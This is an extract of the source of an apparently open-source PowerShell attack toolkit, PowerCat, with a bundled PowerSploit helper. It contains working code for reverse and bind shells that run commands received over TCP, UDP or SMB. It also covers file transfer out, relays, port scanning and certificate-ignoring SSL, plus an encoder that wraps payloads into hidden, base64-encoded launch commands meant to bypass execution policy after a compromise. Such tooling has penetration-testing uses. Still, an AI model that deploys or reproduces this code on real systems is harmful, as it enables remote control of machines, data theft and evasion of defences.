128 | PowerCat can also perform port-scans, start persistent listeners, or act as a simple web server.
129 | ```powershell
130 | # Basic TCP port scan:
131 | 1..1024 | ForEach-Object { Connect-PowerCat -RemoteIp 10.1.1.10 -Port $_ -Timeout 1 -Verbose -Disconnect }
132 |
133 | # Basic UDP port scan:
134 | 1..1024 | ForEach-Object { Connect-PowerCat -Mode Udp -RemoteIp 10.1.1.10 -Port $_ -Timeout 1 -Verbose }
135 |
136 | # Persistent listener:
137 | Start-PowerCat -Port 443 -Execute -KeepAlive
138 |
139 | # Simple Web Server:
140 | Start-PowerCat -Port 80 -SendFile index.html
141 | ```
142 | Exiting
143 | ----------
144 | In most cases, the ESC key can be used to gracefully exit PowerCat.
145 |
--------------------------------------------------------------------------------
/Functions/NetworkStreams/New-TcpStream.ps1:
--------------------------------------------------------------------------------
1 | function New-TcpStream {
2 | <#
3 | Author: Jesse Davis (@secabstraction)
4 | License: BSD 3-Clause
5 | #>
6 | [CmdletBinding(DefaultParameterSetName = 'Client')]
7 | Param (
8 | [Parameter(Position = 0, ParameterSetName = 'Client')]
9 | [Net.IPAddress]$ServerIp,
10 |
11 | [Parameter(Position = 0, ParameterSetName = 'Listener')]
12 | [Switch]$Listener,
13 |
14 | [Parameter(Position = 1)]
15 | [Int]$Port,
16 |
17 | [Parameter(Position = 2)]
18 | [String]$SslCn,
19 |
20 | [Parameter(Position = 3)]
21 | [Int]$Timeout = 60
22 | )
23 |
24 | if ($Listener.IsPresent) {
25 |
26 | $TcpListener = New-Object Net.Sockets.TcpListener $Port
27 | $TcpListener.Start()
28 | $ConnectResult = $TcpListener.BeginAcceptTcpClient($null, $null)
29 |
30 | Write-Verbose "Listening on 0.0.0.0:$Port [tcp]"
31 |
32 | $Stopwatch = [Diagnostics.Stopwatch]::StartNew()
33 | [console]::TreatControlCAsInput = $true
34 |
35 | do {
36 | if ([console]::KeyAvailable) {
37 | $Key = [console]::ReadKey($true)
38 | if ($Key.Key -eq [Consolekey]::Escape) {
39 | Write-Warning 'Caught escape sequence, stopping TCP setup.'
40 | [console]::TreatControlCAsInput = $false
41 | $TcpListener.Stop()
42 | $Stopwatch.Stop()
43 | return
44 | }
45 | }
46 | if ($Stopwatch.Elapsed.TotalSeconds -gt $Timeout) {
47 | Write-Warning 'Timeout exceeded, stopping TCP setup.'
48 | #[console]::TreatControlCAsInput = $false
49 | $TcpListener.Stop()
50 | $Stopwatch.Stop()
51 | return
52 | }
53 | } until ($ConnectResult.IsCompleted)
54 |
55 | [console]::TreatControlCAsInput = $false
56 | $Stopwatch.Stop()
57 |
58 | $TcpClient = $TcpListener.EndAcceptTcpClient($ConnectResult)
59 | $TcpListener.Stop()
60 |
61 | if (!$TcpClient) { Write-Warning "Connection to $($ServerIp.IPAddressToString):$Port [tcp] failed." ; return }
62 |
63 | Write-Verbose "Connection from $($TcpClient.Client.RemoteEndPoint.ToString()) accepted."
64 |
65 | $TcpStream = $TcpClient.GetStream()
66 | $Buffer = New-Object Byte[] $TcpClient.ReceiveBufferSize
67 |
68 | if ($PSBoundParameters.SslCn) {
69 | $TcpStream = New-Object System.Net.Security.SslStream($TcpStream, $false)
70 | $Certificate = New-X509Certificate $SslCn
71 | $TcpStream.AuthenticateAsServer($Certificate)
72 | Write-Verbose "SSL Encrypted: $($TcpStream.IsEncrypted)"
73 | }
74 |
75 | $Properties = @{
76 | Socket = $TcpClient.Client
77 | TcpStream = $TcpStream
78 | Buffer = $Buffer
79 | Read = $TcpStream.BeginRead($Buffer, 0, $Buffer.Length, $null, $null)
80 | }
81 | New-Object psobject -Property $Properties
82 | }
83 | else { # Client
84 |
85 | $TcpClient = New-Object Net.Sockets.TcpClient
86 |
87 | $ConnectResult = $TcpClient.BeginConnect($ServerIp, $Port, $null, $null)
88 |
89 | $Stopwatch = [Diagnostics.Stopwatch]::StartNew()
90 | [console]::TreatControlCAsInput = $true
91 |
92 | do {
93 | if ([console]::KeyAvailable) {
94 | $Key = [console]::ReadKey($true)
95 | if ($Key.Key -eq [Consolekey]::Escape) {
96 | Write-Warning 'Caught escape sequence, stopping TCP setup.'
97 | [console]::TreatControlCAsInput = $false
98 | if ($PSVersionTable.CLRVersion.Major -lt 4) { $TcpClient.Close() }
99 | else { $TcpClient.Dispose() }
100 | $Stopwatch.Stop()
101 | return
102 | }
103 | }
104 | if ($Stopwatch.Elapsed.TotalSeconds -gt $Timeout) {
105 | Write-Warning 'Timeout exceeded, stopping TCP setup.'
106 | [console]::TreatControlCAsInput = $false
107 | if ($PSVersionTable.CLRVersion.Major -lt 4) { $TcpClient.Close() }
108 | else { $TcpClient.Dispose() }
109 | $Stopwatch.Stop()
110 | return
111 | }
112 | } until ($ConnectResult.IsCompleted)
113 |
114 | [console]::TreatControlCAsInput = $false
115 | $Stopwatch.Stop()
116 |
117 | try { $TcpClient.EndConnect($ConnectResult) }
118 | catch {
119 | Write-Warning "Connection to $($ServerIp.IPAddressToString):$Port [tcp] failed. $($_.Exception.Message)"
120 | if ($PSVersionTable.CLRVersion.Major -lt 4) { $TcpClient.Close() }
121 | else { $TcpClient.Dispose() }
122 | return
123 | }
124 | Write-Verbose "Connection to $($ServerIp.IPAddressToString):$Port [tcp] succeeded!"
125 |
126 | $TcpStream = $TcpClient.GetStream()
127 | $Buffer = New-Object Byte[] $TcpClient.ReceiveBufferSize
128 |
129 | if ($PSBoundParameters.SslCn) {
130 | $TcpStream = New-Object System.Net.Security.SslStream($TcpStream, $false, { param($Sender, $Cert, $Chain, $Policy) return $true })
131 | $TcpStream.AuthenticateAsClient($SslCn)
132 | Write-Verbose "SSL Encrypted: $($TcpStream.IsEncrypted)"
133 | }
134 |
135 | $Properties = @{
136 | Socket = $TcpClient.Client
137 | TcpStream = $TcpStream
138 | Buffer = $Buffer
139 | Read = $TcpStream.BeginRead($Buffer, 0, $Buffer.Length, $null, $null)
140 | }
141 | New-Object psobject -Property $Properties
142 | }
143 | }
--------------------------------------------------------------------------------
/Functions/Helpers/Out-EncodedCommand.ps1:
--------------------------------------------------------------------------------
1 | function Out-EncodedCommand
2 | {
3 | <#
4 | .SYNOPSIS
5 |
6 | Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script.
7 |
8 | PowerSploit Function: Out-EncodedCommand
9 | Author: Matthew Graeber (@mattifestation)
10 | License: BSD 3-Clause
11 | Required Dependencies: None
12 | Optional Dependencies: None
13 |
14 | .DESCRIPTION
15 |
16 | Out-EncodedCommand prepares a PowerShell script such that it can be pasted into a command prompt. The scenario for using this tool is the following: You compromise a machine, have a shell and want to execute a PowerShell script as a payload. This technique eliminates the need for an interactive PowerShell 'shell' and it bypasses any PowerShell execution policies.
17 |
18 | .PARAMETER ScriptBlock
19 |
20 | Specifies a scriptblock containing your payload.
21 |
22 | .PARAMETER Path
23 |
24 | Specifies the path to your payload.
25 |
26 | .PARAMETER NoExit
27 |
28 | Outputs the option to not exit after running startup commands.
29 |
30 | .PARAMETER NoProfile
31 |
32 | Outputs the option to not load the Windows PowerShell profile.
33 |
34 | .PARAMETER NonInteractive
35 |
36 | Outputs the option to not present an interactive prompt to the user.
37 |
38 | .PARAMETER Wow64
39 |
40 | Calls the x86 (Wow64) version of PowerShell on x86_64 Windows installations.
41 |
42 | .PARAMETER WindowStyle
43 |
44 | Outputs the option to set the window style to Normal, Minimized, Maximized or Hidden.
45 |
46 | .PARAMETER EncodedOutput
47 |
48 | Base-64 encodes the entirety of the output. This is usually unnecessary and effectively doubles the size of the output. This option is only for those who are extra paranoid.
49 |
50 | .EXAMPLE
51 |
52 | C:\PS> Out-EncodedCommand -ScriptBlock {Write-Host 'hello, world!'}
53 |
54 | powershell -C sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('Cy/KLEnV9cgvLlFQz0jNycnXUSjPL8pJUVQHAA=='),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()
55 |
56 | .EXAMPLE
57 |
58 | C:\PS> Out-EncodedCommand -Path C:\EvilPayload.ps1 -NonInteractive -NoProfile -WindowStyle Hidden -EncodedOutput
59 |
60 | powershell -NoP -NonI -W Hidden -E cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAKABhACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAoAFsASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AXQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcATABjAGkAeABDAHMASQB3AEUAQQBEAFEAWAAzAEUASQBWAEkAYwBtAEwAaQA1AEsAawBGAEsARQA2AGwAQgBCAFIAWABDADgAaABLAE8ATgBwAEwAawBRAEwANAAzACsAdgBRAGgAdQBqAHkAZABBADkAMQBqAHEAcwAzAG0AaQA1AFUAWABkADAAdgBUAG4ATQBUAEMAbQBnAEgAeAA0AFIAMAA4AEoAawAyAHgAaQA5AE0ANABDAE8AdwBvADcAQQBmAEwAdQBYAHMANQA0ADEATwBLAFcATQB2ADYAaQBoADkAawBOAHcATABpAHMAUgB1AGEANABWAGEAcQBVAEkAagArAFUATwBSAHUAVQBsAGkAWgBWAGcATwAyADQAbgB6AFYAMQB3ACsAWgA2AGUAbAB5ADYAWgBsADIAdAB2AGcAPQA9ACcAKQAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkALABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA=
61 |
62 | Description
63 | -----------
64 | Execute the above payload for the lulz. >D
65 |
66 | .NOTES
67 |
68 | This cmdlet was inspired by the createcmd.ps1 script introduced during Dave Kennedy and Josh Kelley's talk, "PowerShell...OMFG" (https://www.trustedsec.com/files/PowerShell_PoC.zip)
69 |
70 | .LINK
71 |
72 | http://www.exploit-monday.com
73 | #>
74 |
75 | [CmdletBinding( DefaultParameterSetName = 'FilePath')] Param (
76 | [Parameter(Position = 0, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock' )]
77 | [ValidateNotNullOrEmpty()]
78 | [ScriptBlock]
79 | $ScriptBlock,
80 |
81 | [Parameter(Position = 0, ParameterSetName = 'FilePath' )]
82 | [ValidateNotNullOrEmpty()]
83 | [String]
84 | $Path,
85 |
86 | [Switch]
87 | $NoExit,
88 |
89 | [Switch]
90 | $NoProfile,
91 |
92 | [Switch]
93 | $NonInteractive,
94 |
95 | [Switch]
96 | $Wow64,
97 |
98 | [ValidateSet('Normal', 'Minimized', 'Maximized', 'Hidden')]
99 | [String]
100 | $WindowStyle,
101 |
102 | [Switch]
103 | $EncodedOutput
104 | )
105 |
106 | if ($PSBoundParameters['Path'])
107 | {
108 | Get-ChildItem $Path -ErrorAction Stop | Out-Null
109 | $ScriptBytes = [IO.File]::ReadAllBytes((Resolve-Path $Path))
110 | }
111 | else
112 | {
113 | $ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($ScriptBlock)
114 | }
115 |
116 | $CompressedStream = New-Object IO.MemoryStream
117 | $DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress)
118 | $DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length)
119 | $DeflateStream.Dispose()
120 | $CompressedScriptBytes = $CompressedStream.ToArray()
121 | $CompressedStream.Dispose()
122 | $EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes)
123 |
124 | # Generate the code that will decompress and execute the payload.
125 | # This code is intentionally ugly to save space.
126 | $NewScript = 'sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(' + "'$EncodedCompressedScript'" + '),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()'
127 |
128 | # Base-64 strings passed to -EncodedCommand must be unicode encoded.
129 | $UnicodeEncoder = New-Object System.Text.UnicodeEncoding
130 | $EncodedPayloadScript = [Convert]::ToBase64String($UnicodeEncoder.GetBytes($NewScript))
131 |
132 | # Build the command line options
133 | # Use the shortest possible command-line arguments to save space. Thanks @obscuresec for the idea.
134 | $CommandlineOptions = New-Object String[](0)
135 | if ($PSBoundParameters['NoExit'])
136 | { $CommandlineOptions += '-NoE' }
137 | if ($PSBoundParameters['NoProfile'])
138 | { $CommandlineOptions += '-NoP' }
139 | if ($PSBoundParameters['NonInteractive'])
140 | { $CommandlineOptions += '-NonI' }
141 | if ($PSBoundParameters['WindowStyle'])
142 | { $CommandlineOptions += "-W $($PSBoundParameters['WindowStyle'])" }
143 |
144 | $CmdMaxLength = 8190
145 |
146 | # Build up the full command-line string. Default to outputting a fully base-64 encoded command.
147 | # If the fully base-64 encoded output exceeds the cmd.exe character limit, fall back to partial
148 | # base-64 encoding to save space. Thanks @Carlos_Perez for the idea.
149 | if ($PSBoundParameters['Wow64'])
150 | {
151 | $CommandLineOutput = "$($Env:windir)\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions -join ' ') -C `"$NewScript`""
152 |
153 | if ($PSBoundParameters['EncodedOutput'] -or $CommandLineOutput.Length -le $CmdMaxLength)
154 | {
155 | $CommandLineOutput = "$($Env:windir)\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions -join ' ') -E `"$EncodedPayloadScript`""
156 | }
157 |
158 | if (($CommandLineOutput.Length -gt $CmdMaxLength) -and (-not $PSBoundParameters['EncodedOutput']))
159 | {
160 | $CommandLineOutput = "$($Env:windir)\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions -join ' ') -C `"$NewScript`""
161 | }
162 | }
163 | else
164 | {
165 | $CommandLineOutput = "powershell $($CommandlineOptions -join ' ') -C `"$NewScript`""
166 |
167 | if ($PSBoundParameters['EncodedOutput'] -or $CommandLineOutput.Length -le $CmdMaxLength)
168 | {
169 | $CommandLineOutput = "powershell $($CommandlineOptions -join ' ') -E `"$EncodedPayloadScript`""
170 | }
171 |
172 | if (($CommandLineOutput.Length -gt $CmdMaxLength) -and (-not $PSBoundParameters['EncodedOutput']))
173 | {
174 | $CommandLineOutput = "powershell $($CommandlineOptions -join ' ') -C `"$NewScript`""
175 | }
176 | }
177 |
178 | if ($CommandLineOutput.Length -gt $CmdMaxLength)
179 | {
180 | Write-Warning 'This command exceeds the cmd.exe maximum allowed length!'
181 | }
182 |
183 | Write-Output $CommandLineOutput
184 | }
185 |
--------------------------------------------------------------------------------
/Functions/Connect-PowerCat.ps1:
--------------------------------------------------------------------------------
1 | function Connect-PowerCat {
2 | <#
3 | Author: Jesse Davis (@secabstraction)
4 | License: BSD 3-Clause
5 | #>
6 | [CmdletBinding(DefaultParameterSetName = 'Console')]
7 | Param (
8 | [Parameter(Position = 0)]
9 | [Alias('m')]
10 | [ValidateSet('Smb', 'Tcp', 'Udp')]
11 | [String]$Mode = 'Tcp',
12 |
13 | [Parameter(Position = 1, Mandatory = $true)]
14 | [String]$RemoteIp,
15 |
16 | [Parameter(ParameterSetName = 'Execute')]
17 | [Alias('e')]
18 | [Switch]$Execute,
19 |
20 | [Parameter(ParameterSetName = 'Relay')]
21 | [Alias('r')]
22 | [String]$Relay,
23 |
24 | [Parameter(ParameterSetName = 'ReceiveFile')]
25 | [Alias('rf')]
26 | [String]$ReceiveFile,
27 |
28 | [Parameter(ParameterSetName = 'SendFile')]
29 | [Alias('sf')]
30 | [String]$SendFile,
31 |
32 | [Parameter(ParameterSetName = 'Input')]
33 | [Alias('i')]
34 | [String]$Input,
35 |
36 | [Parameter()]
37 | [Alias('d')]
38 | [Switch]$Disconnect,
39 |
40 | [Parameter()]
41 | [Alias('t')]
42 | [Int]$Timeout = 60,
43 |
44 | [Parameter()]
45 | [ValidateSet('Ascii','Unicode','UTF7','UTF8','UTF32')]
46 | [String]$Encoding = 'Ascii'
47 | )
48 | DynamicParam {
49 | $ParameterDictionary = New-Object Management.Automation.RuntimeDefinedParameterDictionary
50 |
51 | if ($Mode -eq 'Smb') { New-RuntimeParameter -Name PipeName -Type String -Mandatory -Position 2 -ParameterDictionary $ParameterDictionary }
52 | else { New-RuntimeParameter -Name Port -Type Int -Mandatory -Position 2 -ParameterDictionary $ParameterDictionary }
53 |
54 | if ($Mode -eq 'Tcp') { New-RuntimeParameter -Name SslCn -Type String -ParameterDictionary $ParameterDictionary }
55 |
56 | if ($Execute.IsPresent) {
57 | New-RuntimeParameter -Name ScriptBlock -Type ScriptBlock -ParameterDictionary $ParameterDictionary
58 | New-RuntimeParameter -Name ArgumentList -Type Object[] -ParameterDictionary $ParameterDictionary
59 | }
60 | return $ParameterDictionary
61 | }
62 | Begin {
63 | if ($RemoteIp -notmatch "^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$") {
64 | Write-Warning "$RemoteIp is not a valid IPv4 address."
65 | return
66 | }
67 | $ServerIp = [Net.IPAddress]::Parse($RemoteIp)
68 |
69 | switch ($Mode) {
70 | 'Smb' {
71 | try { $ClientStream = New-SmbStream $RemoteIp $ParameterDictionary.PipeName.Value $Timeout }
72 | catch { Write-Warning "Failed to open Smb stream. $($_.Exception.Message)" ; return }
73 | continue
74 | }
75 | 'Tcp' {
76 | try { $ClientStream = New-TcpStream $ServerIp $ParameterDictionary.Port.Value $ParameterDictionary.SslCn.Value $Timeout }
77 | catch { Write-Warning "Failed to open Tcp stream. $($_.Exception.Message)" ; return }
78 | continue
79 | }
80 | 'Udp' {
81 | try { $InitialBytes, $ClientStream = New-UdpStream $ServerIp $ParameterDictionary.Port.Value -TimeOut $Timeout }
82 | catch { Write-Warning "Failed to open Udp stream. $($_.Exception.Message)" ; return }
83 | }
84 | }
85 | switch ($Encoding) {
86 | 'Ascii' { $EncodingType = New-Object Text.AsciiEncoding ; continue }
87 | 'Unicode' { $EncodingType = New-Object Text.UnicodeEncoding ; continue }
88 | 'UTF7' { $EncodingType = New-Object Text.UTF7Encoding ; continue }
89 | 'UTF8' { $EncodingType = New-Object Text.UTF8Encoding ; continue }
90 | 'UTF32' { $EncodingType = New-Object Text.UTF32Encoding ; continue }
91 | }
92 |
93 | if ($PSCmdlet.ParameterSetName -eq 'Input') { Write-NetworkStream $Mode $ClientStream $EncodingType.GetBytes($Input) }
94 | elseif ($PSCmdlet.ParameterSetName -eq 'ReceiveFile') { $FileStream = New-Object IO.FileStream @($ReceiveFile, [IO.FileMode]::Append) }
95 | elseif ($PSCmdlet.ParameterSetName -eq 'SendFile') {
96 |
97 | Write-Verbose "Attempting to send $SendFile"
98 |
99 | if ((Test-Path $SendFile)) {
100 |
101 | try { $FileStream = New-Object IO.FileStream @($SendFile, [IO.FileMode]::Open) }
102 | catch { Write-Warning $_.Exception.Message }
103 |
104 | if ($BytesLeft = $FileStream.Length) { # goto cleanup
105 |
106 | $FileOffset = 0
107 | if ($BytesLeft -gt 4608) { # Max packet size for Ncat
108 |
109 | $BytesToSend = New-Object Byte[] 4608
110 |
111 | while ($BytesLeft -gt 4608) {
112 |
113 | [void]$FileStream.Seek($FileOffset, [IO.SeekOrigin]::Begin)
114 | [void]$FileStream.Read($BytesToSend, 0, 4608)
115 |
116 | $FileOffset += 4608
117 | $BytesLeft -= 4608
118 |
119 | Write-NetworkStream $Mode $ClientStream $BytesToSend
120 | }
121 | # Send last packet
122 | $BytesToSend = New-Object Byte[] $BytesLeft
123 | [void]$FileStream.Seek($FileOffset, [IO.SeekOrigin]::Begin)
124 | [void]$FileStream.Read($BytesToSend, 0, $BytesLeft)
125 |
126 | Write-NetworkStream $Mode $ClientStream $BytesToSend
127 | }
128 | else { # Only need to send one packet
129 | $BytesToSend = New-Object Byte[] $BytesLeft
130 | [void]$FileStream.Seek($FileOffset, [IO.SeekOrigin]::Begin)
131 | [void]$FileStream.Read($BytesToSend, 0, $BytesLeft)
132 |
133 | Write-NetworkStream $Mode $ClientStream $BytesToSend
134 | }
135 | $FileStream.Flush()
136 | $FileStream.Dispose()
137 | }
138 | if ($Mode -eq 'Smb') { $ClientStream.Pipe.WaitForPipeDrain() }
139 | if ($Mode -eq 'Tcp') { sleep 1 }
140 | }
141 | else { Write-Warning "$SendFile does not exist." }
142 | }
143 | elseif ($PSCmdlet.ParameterSetName -eq 'Relay') {
144 |
145 | Write-Verbose "Setting up relay stream..."
146 |
147 | $RelayConfig = $Relay.Split(':')
148 | $RelayMode = $RelayConfig[0].ToLower()
149 |
150 | if ($RelayConfig.Count -eq 2) { # Listener
151 | switch ($RelayMode) {
152 | 'smb' { $RelayStream = New-SmbStream -Listener $RelayConfig[1] ; continue }
153 | 'tcp' { $RelayStream = New-TcpStream -Listener $RelayConfig[1] ; continue }
154 | 'udp' { $RelayStream = New-UdpStream -Listener $RelayConfig[1] ; continue }
155 | default { Write-Warning 'Invalid relay mode specified.' ; return }
156 | }
157 | }
158 | elseif ($RelayConfig.Count -eq 3) { # Client
159 | if ($RelayConfig[1] -match "^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$") {
160 | $ServerIp = [Net.IPAddress]::Parse($RelayConfig[1])
161 | switch ($RelayMode) {
162 | 'smb' { $RelayStream = New-SmbStream $RelayConfig[1] $RelayConfig[2] ; continue }
163 | 'tcp' { $RelayStream = New-TcpStream $ServerIp $RelayConfig[2] ; continue }
164 | 'udp' { $RelayStream = New-UdpStream $ServerIp $RelayConfig[2] ; continue }
165 | default { Write-Warning 'Invalid relay mode specified.' ; return }
166 | }
167 | }
168 | else { Write-Warning "$($RelayConfig[1]) is not a valid IPv4 address." }
169 | }
170 | else { Write-Warning 'Invalid relay format.' }
171 | }
172 | elseif ($PSCmdlet.ParameterSetName -eq 'Execute') {
173 | if ($ClientStream) {
174 | $BytesToSend = $EncodingType.GetBytes("`nPowerCat by @secabstraction`n")
175 |
176 | if ($ParameterDictionary.ScriptBlock.Value) {
177 |
178 | $ScriptBlock = $ParameterDictionary.ScriptBlock.Value
179 |
180 | $Global:Error.Clear()
181 |
182 | $BytesToSend += $EncodingType.GetBytes(($ScriptBlock.Invoke($ParameterDictionary.ArgumentList.Value) | Out-String))
183 | if ($Global:Error.Count) { foreach ($Err in $Global:Error) { $BytesToSend += $EncodingType.GetBytes($Err.Exception.Message) } }
184 | }
185 | $BytesToSend += $EncodingType.GetBytes(("`nPS $((Get-Location).Path)> "))
186 | Write-NetworkStream $Mode $ClientStream $BytesToSend
187 | $ScriptBlock = $null
188 | $BytesToSend = $null
189 | }
190 | }
191 | }
192 | Process {
193 | [console]::TreatControlCAsInput = $true
194 |
195 | while ($true) {
196 |
197 | if ($PSCmdlet.ParameterSetName -eq 'SendFile' -or $Disconnect.IsPresent) { break } # Skip to Cleanup
198 |
199 | # Catch Esc / Read-Host
200 | if ([console]::KeyAvailable) {
201 | $Key = [console]::ReadKey()
202 | if ($Key.Key -eq [Consolekey]::Escape) {
203 | Write-Verbose 'Caught escape sequence, stopping PowerCat.'
204 | break
205 | }
206 | if ($PSCmdlet.ParameterSetName -eq 'Console') {
207 | $BytesToSend = $EncodingType.GetBytes($Key.KeyChar + (Read-Host) + "`n")
208 | Write-NetworkStream $Mode $ClientStream $BytesToSend
209 | }
210 | }
211 |
212 | # Get data from the network
213 | if ($InitialBytes) { $ReceivedBytes = $InitialBytes ; $InitialBytes = $null }
214 | elseif ($ClientStream.Socket.Connected -or $ClientStream.Pipe.IsConnected) {
215 | if ($ClientStream.Read.IsCompleted) { $ReceivedBytes = Read-NetworkStream $Mode $ClientStream }
216 | else { Start-Sleep -Milliseconds 1 ; continue }
217 | }
218 | else { Write-Verbose "$Mode connection broken, exiting." ; break }
219 |
220 | # Redirect received bytes
221 | if ($PSCmdlet.ParameterSetName -eq 'Execute') {
222 |
223 | try { $ScriptBlock = [ScriptBlock]::Create($EncodingType.GetString($ReceivedBytes)) }
224 | catch { break } # network stream closed
225 |
226 | $Global:Error.Clear()
227 |
228 | $BytesToSend += $EncodingType.GetBytes(($ScriptBlock.Invoke() | Out-String))
229 | foreach ($Err in $Global:Error) { $BytesToSend += $EncodingType.GetBytes($Err.Exception.Message) }
230 | $BytesToSend += $EncodingType.GetBytes(("`nPS $((Get-Location).Path)> "))
231 |
232 | Write-NetworkStream $Mode $ClientStream $BytesToSend
233 | $BytesToSend = $null
234 | $ScriptBlock = $null
235 | continue
236 | }
237 | elseif ($PSCmdlet.ParameterSetName -eq 'Relay') { Write-NetworkStream $RelayMode $RelayStream $ReceivedBytes ; continue }
238 | elseif ($PSCmdlet.ParameterSetName -eq 'ReceiveFile') {
239 | try { $FileStream.Write($ReceivedBytes, 0, $ReceivedBytes.Length) }
240 | catch { break } # EOF reached
241 | continue
242 | }
243 | else { # Console
244 | try { Write-Host -NoNewline $EncodingType.GetString($ReceivedBytes).TrimEnd("`r") }
245 | catch { break } # network stream closed
246 | }
247 | }
248 | }
249 | End { # Cleanup
250 | Write-Host "`n"
251 |
252 | if ($PSCmdlet.ParameterSetName -eq 'ReceiveFile') { $FileStream.Flush() ; $FileStream.Dispose() }
253 |
254 | try { Close-NetworkStream $Mode $ClientStream }
255 | catch { Write-Warning "Failed to close client stream. $($_.Exception.Message)" }
256 |
257 | if ($PSCmdlet.ParameterSetName -eq 'Relay') {
258 | try { Close-NetworkStream $RelayMode $RelayStream }
259 | catch { Write-Warning "Failed to close relay stream. $($_.Exception.Message)" }
260 | }
261 | [console]::TreatControlCAsInput = $false
262 | }
263 | }
--------------------------------------------------------------------------------
/Functions/Start-PowerCat.ps1:
--------------------------------------------------------------------------------
1 | function Start-PowerCat {
2 | <#
3 | Author: Jesse Davis (@secabstraction)
4 | License: BSD 3-Clause
5 | #>
6 | [CmdletBinding(DefaultParameterSetName = 'Console')]
7 | Param (
8 | [Parameter(Position = 0)]
9 | [Alias('m')]
10 | [ValidateSet('Smb', 'Tcp', 'Udp')]
11 | [String]$Mode = 'Tcp',
12 |
13 | [Parameter(ParameterSetName = 'Execute')]
14 | [Alias('e')]
15 | [Switch]$Execute,
16 |
17 | [Parameter(ParameterSetName = 'Relay')]
18 | [Alias('r')]
19 | [String]$Relay,
20 |
21 | [Parameter(ParameterSetName = 'ReceiveFile')]
22 | [Alias('rf')]
23 | [String]$ReceiveFile,
24 |
25 | [Parameter(ParameterSetName = 'SendFile')]
26 | [Alias('sf')]
27 | [String]$SendFile,
28 |
29 | [Parameter()]
30 | [Alias('d')]
31 | [Switch]$Disconnect,
32 |
33 | [Parameter()]
34 | [Alias('t')]
35 | [Int]$Timeout = 60,
36 |
37 | [Parameter()]
38 | [Switch]$KeepAlive,
39 |
40 | [Parameter()]
41 | [ValidateSet('Ascii','Unicode','UTF7','UTF8','UTF32')]
42 | [String]$Encoding = 'Ascii'
43 | )
44 | DynamicParam {
45 | $ParameterDictionary = New-Object Management.Automation.RuntimeDefinedParameterDictionary
46 |
47 | if ($Mode -eq 'Smb') { New-RuntimeParameter -Name PipeName -Type String -Mandatory -Position 1 -ParameterDictionary $ParameterDictionary }
48 | else { New-RuntimeParameter -Name Port -Type Int -Mandatory -Position 1 -ParameterDictionary $ParameterDictionary }
49 |
50 | if ($Mode -eq 'Tcp') { New-RuntimeParameter -Name SslCn -Type String -ParameterDictionary $ParameterDictionary }
51 |
52 | if ($Execute.IsPresent) {
53 | New-RuntimeParameter -Name ScriptBlock -Type ScriptBlock -ParameterDictionary $ParameterDictionary
54 | New-RuntimeParameter -Name ArgumentList -Type Object[] -ParameterDictionary $ParameterDictionary
55 | }
56 | return $ParameterDictionary
57 | }
58 | Begin {}
59 | Process {
60 | while ($true) {
61 | switch ($Mode) {
62 | 'Smb' {
63 | try { $ServerStream = New-SmbStream -Listener $ParameterDictionary.PipeName.Value $Timeout }
64 | catch { Write-Warning "Failed to open Smb stream. $($_.Exception.Message)" ; return }
65 | continue
66 | }
67 | 'Tcp' {
68 | if ((Test-Port $ParameterDictionary.Port.Value Tcp)) {
69 | try { $ServerStream = New-TcpStream -Listener $ParameterDictionary.Port.Value $ParameterDictionary.SslCn.Value $Timeout }
70 | catch { Write-Warning "Failed to open Tcp stream. $($_.Exception.Message)" ; return }
71 | }
72 | else { return }
73 | continue
74 | }
75 | 'Udp' {
76 | if ((Test-Port $ParameterDictionary.Port.Value Udp)) {
77 | try { $InitialBytes, $ServerStream = New-UdpStream -Listener $ParameterDictionary.Port.Value -TimeOut $Timeout }
78 | catch { Write-Warning "Failed to open Udp stream. $($_.Exception.Message)" ; return }
79 | }
80 | else { return }
81 | }
82 | }
83 | switch ($Encoding) {
84 | 'Ascii' { $EncodingType = New-Object Text.AsciiEncoding ; continue }
85 | 'Unicode' { $EncodingType = New-Object Text.UnicodeEncoding ; continue }
86 | 'UTF7' { $EncodingType = New-Object Text.UTF7Encoding ; continue }
87 | 'UTF8' { $EncodingType = New-Object Text.UTF8Encoding ; continue }
88 | 'UTF32' { $EncodingType = New-Object Text.UTF32Encoding ; continue }
89 | }
90 |
91 | if ($PSCmdlet.ParameterSetName -eq 'ReceiveFile') { $FileStream = New-Object IO.FileStream @($ReceiveFile, [IO.FileMode]::Append) }
